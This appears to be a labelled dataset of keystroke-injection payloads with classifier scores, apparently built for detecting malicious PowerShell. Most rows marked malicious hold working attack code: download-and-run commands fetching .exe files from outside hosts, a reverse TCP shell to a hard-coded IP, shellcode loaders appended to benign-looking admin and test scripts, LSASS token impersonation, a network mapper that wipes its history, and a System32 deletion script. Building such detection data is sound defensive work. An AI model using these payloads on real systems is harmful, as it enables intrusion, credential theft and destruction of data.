"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://hinrichsen.de/assets/win1/win1.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.896996e-05,0.999941
"win+r powershell enter Describe ""Get-PSBreakpoint"" -Tags ""CI"" { $scriptName = ""Get-PSBreakpoint.Tests enter .ps1"" $fullScriptPath = Join-Path -Path $PSScriptRoot -ChildPath $scriptName enter AfterEach { Get-PSBreakpoint -Script $fullScriptPath | Remove-PSBreakpoint } enter It ""should be able to get PSBreakpoint with using Id switch"" { Set-PSBreakpoin enter t -Script $fullScriptPath -Line 1 enter enter",1,1,0.0053933933,0.9946067
"win+r enter powershell enter enter enter  enter $vComputerName = ""PSQLDLS34"" enter $vInstanceName = ""MSSQLSERVER"" enter enter Write-Host ""IP Address(es) that the SQL instance "" $vComputerName ""\"" $vInstanceName "" is listening on are listed below: "" enter enter $vListenAll = 0 enter $vTCPProps = get-WMIObject ServerNetworkProtocolProperty -ComputerName $vComputerName -NameSpace ""root\Microsoft\SqlServer\ComputerManagement10"" | Where-Object {$_.PropertyName -eq ""ListenOnAllIPs"" -and $_.InstanceName -eq $vInstanceName} enter foreach ($vTCPProp in $vTCPProps) enter { enter $vListenAll = $vTCPProp.PropertyNumVal enter } enter enter if($vListenAll -eq 1) enter { enter Write-Host ""Is instance configured to listen on All IPs (Listen All property): TRUE"" enter enter $vIPconfig = Get-WmiObject Win32_NetworkAdapterConfiguration -ComputerName $vComputerName enter foreach ($vIP in $vIPconfig) enter { enter if ($vIP.IPaddress) enter { enter foreach ($vAddr in $vIP.Ipaddress) enter { enter $vAddr enter } enter } enter } enter } enter else enter { enter $vIPProps = get-WMIObject ServerNetworkProtocolProperty -ComputerName $vComputerName -NameSpace ""root\Microsoft\SqlServer\ComputerManagement10"" | Where-Object {$_.InstanceName -eq $vInstanceName -and $_.ProtocolName -eq ""Tcp""} | Sort-Object IPAddressName,PropertyName enter $vActive = 0 enter $vEnabled = 0 enter enter Write-Host ""Is instance configured to listen on All IPs (Listen All property): FALSE"" enter enter foreach ($vIPProp in $vIPProps) enter { enter enter if ($vIPProp.Name -ne ""IPAll"" -and ($vIPProp.PropertyName -eq ""Active"")) enter { enter $vActive = $vIPProp.PropertyNumVal enter } enter enter if ($vIPProp.Name -ne ""IPAll"" -and ($vIPProp.PropertyName -eq ""Enabled"")) enter { enter $vEnabled = $vIPProp.PropertyNumVal enter } enter enter if ($vIPProp.Name -ne ""IPAll"" -and $vIPProp.PropertyName -eq ""IPAddress"" -and $vEnabled -eq 1 -and $vActive -eq 1) enter { enter enter $vTCPProp.PropertyStrVal enter } enter } enter } enter enter",0,0,0.999905,9.5035626e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_uceo14r2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4142613e-05
win+r enter cmd enter enter enter cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /LocalInjection.c /link Psapi.lib /OUT:RWXinjectionLocal.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 enter enter,1,1,7.668513e-05,0.99992335
win+r enter powershell enter enter enter function Get-Feature enter { enter Write-Debug ($LocalizedData.ProviderApiDebugMessage -f ('Get-Feature')) enter Write-Output -InputObject (New-Feature $script:SupportsPSModulesFeatureName ) enter } enter enter,0,0,0.9998994,0.0001006349
"win+r powershell enter function Conjure-LSASS { <# .SYNOPSIS Use the SeDebugPrivilege to duplicate t enter he LSASS access token and impersonate it in the calling thread. If SeDebugPrivi enter lege is disabled the function will re-enable it. If SeDebugPrivilege has been enter removed, it can be added using LsaAddAccountRights however that requires the u enter ser to log off / log on so I haven't added it to the script. enter",1,1,7.616325e-05,0.9999238
"win+r powershell enter unknown_key_action DEFINE #LABEL DUCKY enter unknown_key_action EXTENSION PASSIVE_WINDOWS_DETECT enter unknown_key_action REM_BLOCK DOCUMENTATION enter unknown_key_action Windows fully passive OS Detection and passive Detect Ready enter unknown_key_action Includes its own passive detect ready. enter unknown_key_action Does not require additional extensions. enter unknown_key_action USAGE: enter unknown_key_action Extension runs inline (here) enter unknown_key_action Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter unknown_key_action boot delay enter unknown_key_action $_OS will be set to WINDOWS or NOT_WINDOWS enter unknown_key_action See end of payload for usage within payload enter unknown_key_action END_REM enter unknown_key_action DEFINE #MAX_WAIT 150 enter unknown_key_action DEFINE #CHECK_INTERVAL 20 enter unknown_key_action DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter unknown_key_action DEFINE #NOT_WINDOWS 7 enter unknown_key_action $_OS = #NOT_WINDOWS enter unknown_key_action VAR $MAX_TRIES = #MAX_WAIT enter unknown_key_action WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter delay_medium enter unknown_key_action $MAX_TRIES = ($MAX_TRIES - 1) enter unknown_key_action END_WHILE enter unknown_key_action IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter unknown_key_action $_OS = WINDOWS enter unknown_key_action END_IF enter unknown_key_action END_EXTENSION enter unknown_key_action IF ($_OS != WINDOWS) THEN enter unknown_key_action STOP_PAYLOAD enter unknown_key_action END_IF enter win+r enter delay_short enter powershell -ExecutionPolicy Bypass -WindowStyle Hidden enter enter enter delay_medium enter $d=(Get-CimInstance Win32_LogicalDisk|?{$_.VolumeName -eq '#LABEL'}).DeviceID;if(!$d){$d=$env:TEMP} enter enter enter delay_short enter $r=@();$r+=""=== NULLSEC NETWORK MAPPER ==="" enter enter enter delay_short enter $r+=""Timestamp: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"" enter enter enter delay_short enter $r+=""Hostname: $env:COMPUTERNAME"" enter enter enter delay_short enter $r+=""`n=== LOCAL INTERFACES ==="" enter enter enter delay_short enter Get-NetAdapter|?{$_.Status -eq 'Up'}|%{$r+="" $($_.Name): $($_.MacAddress) - $($_.LinkSpeed)""} enter enter enter delay_short enter Get-NetIPAddress -AddressFamily IPv4|?{$_.IPAddress -ne '127.0.0.1'}|%{$r+="" $($_.InterfaceAlias): $($_.IPAddress)/$($_.PrefixLength)""} enter enter enter delay_short enter $r+=""`n=== ARP TABLE ==="" enter enter enter delay_short enter Get-NetNeighbor -AddressFamily IPv4|?{$_.State -ne 'Unreachable'}|%{$r+="" $($_.IPAddress) -> $($_.LinkLayerAddress) [$($_.State)]""} enter enter enter delay_medium enter $r+=""`n=== ROUTING TABLE ==="" enter enter enter delay_short enter Get-NetRoute -AddressFamily IPv4|?{$_.NextHop -ne '0.0.0.0'}|%{$r+="" $($_.DestinationPrefix) via $($_.NextHop) [$($_.RouteMetric)]""} enter enter enter delay_short enter $r+=""`n=== DNS CACHE ==="" enter enter enter delay_short enter Get-DnsClientCache|Select-Object -First 20|%{$r+="" $($_.Entry) -> $($_.Data)""} enter enter enter delay_short enter $r+=""`n=== NETWORK SHARES ==="" enter enter enter delay_short enter Get-SmbShare|%{$r+="" $($_.Name): $($_.Path)""} enter enter enter delay_short enter Get-SmbMapping 2>$null|%{$r+="" MAPPED: $($_.LocalPath) -> $($_.RemotePath)""} enter enter enter delay_short enter $r+=""`n=== ACTIVE CONNECTIONS ==="" enter enter enter delay_short enter Get-NetTCPConnection -State Established|Select-Object -First 30|%{$n=(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name;$r+="" $($_.LocalAddress):$($_.LocalPort) -> $($_.RemoteAddress):$($_.RemotePort) [$n]""} enter enter enter delay_medium enter $r+=""`n=== LISTENING SERVICES ==="" enter enter enter delay_short enter Get-NetTCPConnection -State Listen|%{$n=(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name;$r+="" :$($_.LocalPort) [$n]""} enter enter enter delay_short enter $r+=""`n=== SUBNET PING SWEEP ==="" enter enter enter delay_short enter $gw=(Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Select-Object -First 1).NextHop;$subnet=$gw -replace '\.\d+$','' enter enter enter delay_short enter 1..254|%{$ip=""$subnet.$_"";$j={param($i)if(Test-Connection -ComputerName $i -Count 1 -Quiet -TimeoutSeconds 1){$i}};Start-Job -ScriptBlock $j -ArgumentList $ip|Out-Null} enter enter enter delay_short enter Wait-Job *|Out-Null;$r+=Get-Job|Receive-Job|%{"" ALIVE: $_""};Remove-Job * enter enter enter delay_long enter $r+=""`n=== GATEWAY PORT SCAN ==="" enter enter enter delay_short enter $ports=@(21,22,23,25,53,80,110,135,139,143,443,445,993,995,1433,3306,3389,5432,5900,8080,8443) enter enter enter delay_short enter foreach($p in $ports){$c=New-Object System.Net.Sockets.TcpClient;$ar=$c.BeginConnect($gw,$p,$null,$null);$w=$ar.AsyncWaitHandle.WaitOne(500,$false);if($w -and $c.Connected){$r+="" $gw`:$p OPEN""};$c.Close()} enter enter enter delay_long enter $f=""$d enter etwork_map_$(Get-Date -Format 'yyyyMMdd_HHmmss').txt"" enter enter enter delay_short enter $r|Out-File -FilePath $f -Encoding UTF8 enter enter enter delay_short enter Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue enter enter enter delay_short enter exit enter enter enter",1,1,5.5240416e-05,0.9999448
"win+r enter powershell enter enter enter Write-Host ""#######################################################################""; enter Write-Host ""# #""; enter Write-Host ""# PowerShell Reverse TCP v3.9 #""; enter Write-Host ""# by Ivan Sincek #""; enter Write-Host ""# #""; enter Write-Host ""# GitHub repository at github.com/ivan-sincek/powershell-reverse-tcp. #""; enter Write-Host ""# #""; enter Write-Host ""#######################################################################""; enter $client = $stream = $buffer = $writer = $process = $stderr = $stdout = $stderrEvent = $stdoutEvent = $null; enter try { enter # change the host address and/or port number as necessary enter $client = New-Object Net.Sockets.TcpClient(""45.82.69.203"", 443); enter $stream = $client.GetStream(); enter $stream.ReadTimeout = 5; enter $buffer = New-Object Byte[] 1024; enter $writer = New-Object IO.StreamWriter($stream, [Text.Encoding]::UTF8, 1024); enter $writer.AutoFlush = $true; enter # start process enter $process = New-Object Diagnostics.Process; enter $process.StartInfo = New-Object Diagnostics.ProcessStartInfo; enter $process.StartInfo.FileName = ""powershell""; enter $process.StartInfo.CreateNoWindow = $true; enter $process.StartInfo.WindowStyle = [Diagnostics.ProcessWindowStyle]::Hidden; enter $process.StartInfo.UseShellExecute = $false; enter $process.StartInfo.RedirectStandardInput = $process.StartInfo.RedirectStandardError = $process.StartInfo.RedirectStandardOutput = $true; enter # suppress possible errors enter $process.StartInfo.ErrorDialog = $false; enter $process.EnableRaisingEvents = $false; enter $stderr = New-Object Text.StringBuilder; enter $stdout = New-Object Text.StringBuilder; enter $scriptBlock = { enter if ($EventArgs.Data.Length -gt 0) { enter $Event.MessageData.AppendLine($EventArgs.Data); enter } enter }; enter $stderrEvent = Register-ObjectEvent -InputObject $process -EventName ""ErrorDataReceived"" -Action $scriptBlock -MessageData $stderr; enter $stdoutEvent = Register-ObjectEvent -InputObject $process -EventName ""OutputDataReceived"" -Action $scriptBlock -MessageData $stdout; enter $process.Start() | Out-Null; enter $process.BeginErrorReadLine(); enter $process.BeginOutputReadLine(); enter Write-Host ""Backdoor is up and running...""; enter Write-Host """"; enter while (!$process.HasExited) { enter try { enter $bytes = $stream.Read($buffer, 0, $buffer.Length); # unblock with timeout enter if ($bytes -gt 0) { enter $process.StandardInput.Write($buffer, 0, $bytes); enter } else { break; } enter } catch [Management.Automation.MethodInvocationException] {} enter if ($stderr.Length -gt 0) { enter $writer.Write($stdout.ToString()); $stdout.clear(); enter } enter if ($stdout.Length -gt 0) { enter $writer.Write($stdout.ToString()); $stdout.clear(); enter } enter } enter Write-Host ""Backdoor will now exit...""; enter } catch { enter Write-Host $_.Exception.InnerException.Message; enter } finally { enter if ($stderrEvent -ne $null) { enter Unregister-Event -SourceIdentifier $stderrEvent.Name; enter Clear-Variable stderrEvent; enter } enter if ($stdoutEvent -ne $null) { enter Unregister-Event -SourceIdentifier $stdoutEvent.Name; enter Clear-Variable stdoutEvent; enter } enter if ($process -ne $null) { enter $process.Close(); $process.Dispose(); enter Clear-Variable process; enter } enter if ($writer -ne $null) { enter $writer.Close(); $writer.Dispose(); enter Clear-Variable writer; enter } enter if ($stream -ne $null) { enter $stream.Close(); $stream.Dispose(); enter Clear-Variable stream; enter } enter if ($client -ne $null) { enter $client.Close(); $client.Dispose(); enter Clear-Variable client; enter } enter if ($buffer -ne $null) { enter $buffer.Clear(); enter Clear-Variable buffer; enter } enter if ($stderr -ne $null) { enter $stderr.Clear(); enter Clear-Variable stderr; enter } enter if ($stdout -ne $null) { enter $stdout.Clear(); enter Clear-Variable stdout; enter } enter [GC]::Collect(); enter } enter enter",1,1,6.893239e-05,0.9999311
"win+r enter powershell enter enter enter  enter $paramNewVariable = @{ enter Name = ""psframework_killqueue"" enter Value = (New-Object PSFramework.Utility.LimitedConcurrentQueue[int](25)) enter Option = 'ReadOnly' enter Scope = 'Script' enter Description = 'Variable that is used to maintain the list of commands to kill. This is used by Test-PSFFunctionInterrupt. Note: The value tested is the hashcade from the callstack item.' enter } enter enter New-Variable @paramNewVariable enter $paramNewVariable2 = @{ enter Name = ""psframework_pssessions"" enter Value = (New-Object PSFramework.ComputerManagement.PSSessionContainer) enter Option = 'ReadOnly' enter Scope = 'Script' enter Description = 'Variable containing the list of established powershell remoting sessions. This is used by Invoke-PSFCommand to track connections, disconnect expired sessions and reconnect sessions by name.' enter } enter enter New-Variable @paramNewVariable2 enter Register-PSFFeature -Name 'PSFramework.InheritEnableException' -NotGlobal -Owner PSFramework -Description 'Causes all PSFramework commands with the -EnableException parameter to check, whether the caller has that variable set (e.g. by having a parameter with the same name) and respect that as well.' enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.111034e-05,0.99993885
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, ParameterSetName=""Recurse"", HelpMessage=""Site server where the SMS Provider is installed"")] enter [parameter(Mandatory=$true, ParameterSetName=""CSV"")] enter [parameter(Mandatory=$true, ParameterSetName=""Static"")] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [string]$SiteServer, enter [parameter(Mandatory=$true, ParameterSetName=""CSV"", HelpMessage=""Path to a CSV file containing the CollectionName and CollectionID"")] enter [ValidateNotNullOrEmpty()] enter [ValidatePattern(""^(?:[\w]\:|\\)(\\[a-z_\-\s0-9\.]+)+\.(csv)$"")] enter [ValidateScript({ enter enter if ((Split-Path -Path $_ -Leaf).IndexOfAny([IO.Path]::GetInvalidFileNameChars()) -ge 0) { enter Write-Warning -Message ""$(Split-Path -Path $_ -Leaf) contains invalid characters"" ; break enter } enter else { enter enter if (-not(Test-Path -Path (Split-Path -Path $_) -PathType Container -ErrorAction SilentlyContinue)) { enter Write-Warning -Message ""Unable to locate part of or the whole specified path"" ; break enter } enter elseif (Test-Path -Path (Split-Path -Path $_) -PathType Container -ErrorAction SilentlyContinue) { enter return $true enter } enter else { enter Write-Warning -Message ""Unhandled error"" ; break enter } enter } enter })] enter [string]$Path, enter [parameter(Mandatory=$false, ParameterSetName=""CSV"", HelpMessage=""Specify the delimiter used in the CSV file"")] enter [ValidateNotNullOrEmpty()] enter [ValidateSet("","","";"")] enter [string]$Delimiter = "","", enter [parameter(Mandatory=$true, ParameterSetName=""Static"", HelpMessage=""Name of a collection that will have Incremental Updates disabled"")] enter [ValidateNotNullOrEmpty()] enter [string]$CollectionName, enter [parameter(Mandatory=$false, ParameterSetName=""Recurse"", HelpMessage=""Show a progressbar displaying the current operation"")] enter [parameter(Mandatory=$false, ParameterSetName=""CSV"")] enter [parameter(Mandatory=$false, ParameterSetName=""Static"")] enter [switch]$ShowProgress enter ) enter Begin { enter enter try { enter Write-Verbose -Message ""Determining SiteCode for Site Server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Debug -Message ""SiteCode: $($SiteCode)"" enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message ""Unable to determine SiteCode"" ; break enter } enter } enter Process { enter if ($PSBoundParameters[""ShowProgress""]) { enter $ProgressCount = 0 enter } enter enter function Disable-IncrementalCollectionSetting { enter param( enter [parameter(Mandatory=$true)] enter $Collection enter ) enter $ErrorActionPreference = ""Stop"" enter try { enter if ((($Collection.RefreshType -eq 6) -or ($Collection.RefreshType -eq 4)) -and ($Collection.CollectionID -notlike ""SMS*"")) { enter Write-Verbose -Message ""Attempting to disable Incremental Updates for device collection: $($Collection.Name)"" enter if ($PSCmdlet.ShouldProcess($Collection.Name,""Disable Incremental Updates"")) { enter $Collection.Get() enter $Collection.RefreshType = 2 enter $Collection.Put() | Out-Null enter } enter Write-Verbose -Message ""Successfully disabled Incremental Updates for device collection: $($Collection.Name)"" enter } enter } enter catch [System.Exception] { enter Write-Warning -Message ""An error occured when attempting to update collection setting for collection: $($Collection.Name)"" ; return enter } enter } enter enter switch ($PSCmdlet.ParameterSetName) { enter ""CSV"" { enter $Collections = Import-Csv -Path $Path -Delimiter $Delimiter enter if ($Collections -ne $null) { enter foreach ($Collection in $Collections) { enter try { enter $CollectionObject = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_Collection -ComputerName $SiteServer -Filter ""CollectionID like '$($Collection.CollectionID)'"" -ErrorAction Stop enter if ($CollectionObject -ne $null) { enter Disable-IncrementalCollectionSetting -Collection $CollectionObject enter } enter else { enter Write-Warning -Message ""Unable to find collection: $($Collection.CollectionID)"" enter } enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; return enter } enter } enter } enter } enter ""Recurse"" { enter try { enter $Collections = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_Collection -ComputerName $SiteServer -ErrorAction Stop enter if ($Collections -ne $null) { enter foreach ($Collection in $Collections) { enter Disable-IncrementalCollectionSetting -Collection $Collection enter } enter } enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; break enter } enter } enter ""Static"" { enter try { enter $Collection = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_Collection -ComputerName $SiteServer -Filter ""Name like '$($CollectionName)'"" -ErrorAction Stop enter if ($Collection -ne $null) { enter Disable-IncrementalCollectionSetting -Collection $Collection enter } enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; break enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x5c,0x11,0x00,0x00,0xe8,0x0f,0x01,0x00,0x00,0x2f,0x39,0x30,0x6b,0x72,0x41,0x50,0x43,0x42,0x4c,0x46,0x43,0x44,0x55,0x49,0x4a,0x52,0x31,0x64,0x37,0x31,0x69,0x67,0x70,0x68,0x36,0x33,0x44,0x51,0x78,0x37,0x64,0x63,0x5f,0x33,0x45,0x7a,0x45,0x6a,0x75,0x68,0x2d,0x5a,0x43,0x33,0x32,0x69,0x73,0x46,0x30,0x66,0x5f,0x44,0x7a,0x57,0x69,0x63,0x59,0x4d,0x48,0x33,0x34,0x77,0x6b,0x5f,0x74,0x77,0x6a,0x4f,0x62,0x35,0x36,0x42,0x4f,0x35,0x78,0x77,0x5a,0x7a,0x62,0x77,0x34,0x76,0x77,0x66,0x38,0x63,0x59,0x4f,0x69,0x49,0x74,0x49,0x51,0x43,0x56,0x71,0x69,0x50,0x47,0x49,0x50,0x4d,0x75,0x4d,0x4f,0x71,0x48,0x6d,0x30,0x55,0x39,0x67,0x77,0x4d,0x39,0x5a,0x30,0x39,0x4e,0x4a,0x56,0x65,0x35,0x64,0x75,0x65,0x65,0x58,0x45,0x47,0x49,0x77,0x63,0x33,0x37,0x45,0x38,0x78,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x4a,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x31,0x30,0x30,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1431474e-05,0.9999486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_qp2pb9at"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter",0,0,0.99996483,3.5109697e-05
win+r powershell enter Set-StrictMode -Version 2 function CfdelM { $foCh=yfETX e E O + S e U g M A n $U enter BZf=YLOST K g B 0 $OnVZ=jPrgMW n G E 9 x E j I k V S $QpAxn=JLEjmy d e k b v $eh enter NOj=yfETX S 6 x Q q u u F J n k $VjKrXt=paXY b '2' S y 5 4 O X c $KXa=LDHVI q '9 enter ' $Vw0C=VRyRmh H P s $LSgCix=iKKLKI v N a L C b b P s enter,1,1,5.4903456e-05,0.99994504
"DUCKY_REAL_BEGIN enter REM Title:32 wants the D enter REM Author: FalsePhilosopher enter REM Target: Win, tested on 10 enter REM Props: Hak5, my friends and memes enter REM Version: 1.0 enter REM Category: Prank enter REM D as in DELETE! Deletes System32. I wrote the draft with my friend as an educational lesson to show them just how easy it is to write ducky, I then combed through MS doc's on those 3 commands to r enter REM enter REM THIS WILL DELETE THINGS AND MAKE COMPUTER UNHAPPY enter REM Uncomment out the string below to arm the script. enter REM Also... don't be a dick to n00bs. =) enter REM For educational/sysadmin purposes, as a reminder destruction of property IS A CRIME! enter REM As always just follow the golden rule ""DON""T BE A DICK!"" enter REM enter DELAY 500 enter GUI r enter DELAY 500 enter STRING cmd enter CTRL-SHIFT ENTER enter DELAY 2000 enter ALT y enter DELAY 1500 enter REM STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q * enter ENTER enter DUCKY_REAL_END",1,1,6.174403e-05,0.99993825
"win+r powershell enter Login-AzAccount Get-AzSubscription Set-AzContext -SubscriptionId ""yourSubscripti enter onID"" $RGname=""sfclustertutorialgroup"" $port=8081 $rulename=""allowAppPort$port"" enter $nsgname=""sf-vnet-security"" $nsg = Get-AzNetworkSecurityGroup -Name $nsgname - enter ResourceGroupName $RGname $nsg | Add-AzNetworkSecurityRuleConfig -Name $rulenam enter e -Description ""Allow app port"" -Access Allow ` enter enter",1,1,0.0005322392,0.9994678
"win+r powershell enter $reportServerUri = if ($env:PesterServerUrl -eq $null) { 'http://localhost/repor enter tserver' } else { $env:PesterServerUrl } Function Set-FolderReportDataSource { enter param ( [string] $NewFolderPath ) $tempProxy = New-RsWebServiceProxy -Repo enter rtServerUri $reportServerUri $localResourcesPath = (Get-Item -Path "".\"").Ful enter lName + '\Tests\CatalogItems tab estResources\emptyReport.rdl' enter enter",1,1,0.0008838118,0.9991161
"win+r enter powershell enter enter enter $SiteName = 'TestSite' enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Start-Test enter { enter Remove-TestWebsite enter } enter enter function Stop-Test enter { enter Remove-TestWebsite enter } enter enter function Remove-TestWebsite enter { enter if( Test-IisWebsite -Name $SiteName ) enter { enter Uninstall-IisWebsite -Name $SiteName enter Assert-LastProcessSucceeded 'Unable to delete test site.' enter } enter } enter enter function Invoke-RemoveWebsite($Name = $SiteName) enter { enter Uninstall-IisWebsite $Name enter Assert-SiteDoesNotExist $Name enter } enter enter function Test-ShouldRemoveNonExistentSite enter { enter Invoke-RemoveWebsite 'fjsdklfsdjlf' enter } enter enter function Test-ShouldRemoveSite enter { enter Install-IisWebsite -Name $SiteName -Path $TestDir enter Assert-LastProcessSucceeded 'Unable to create site.' enter enter Invoke-RemoveWebsite enter enter Assert-SiteDoesNotExist $SiteName enter } enter enter function Assert-SiteDoesNotExist($Name) enter { enter Assert-False (Test-IisWebsite -Name $Name) ""Website $Name exists!"" enter } enter $gAN = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $gAN -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 